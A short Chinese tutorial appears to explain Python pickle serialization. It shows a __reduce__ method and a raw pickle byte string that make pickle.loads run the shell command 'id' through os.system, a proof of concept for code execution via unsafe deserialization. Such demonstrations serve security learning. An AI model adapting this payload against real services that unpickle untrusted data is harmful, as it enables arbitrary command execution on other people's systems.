文章
pickle.dumps,pickle.loads相当于python的序列化和反序列化。
1 2 3 4 5 6 7 8 9 10 11 12
| import pickle import os class tmp(): text = "123" def __reduce__(self): return (os.system,("id",)) text = tmp() serialized_text = pickle.dumps(text) print(serialized_text)
reltext = pickle.loads(serialized_text) print(reltext.text)
|
这里的__reduce__函数相当于php中的__wakeup, 参数1是函数,参数2是要传递给该函数的参数。
pickle在反序列化的时候会自动import未import的模块,直接执行。 这里的opcode是上述例子serialized_text
1 2
| import pickle pickle.loads(b'\x80\x04\x95\x1d\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x02id\x94\x85\x94R\x94.')
|
会自动执行命令。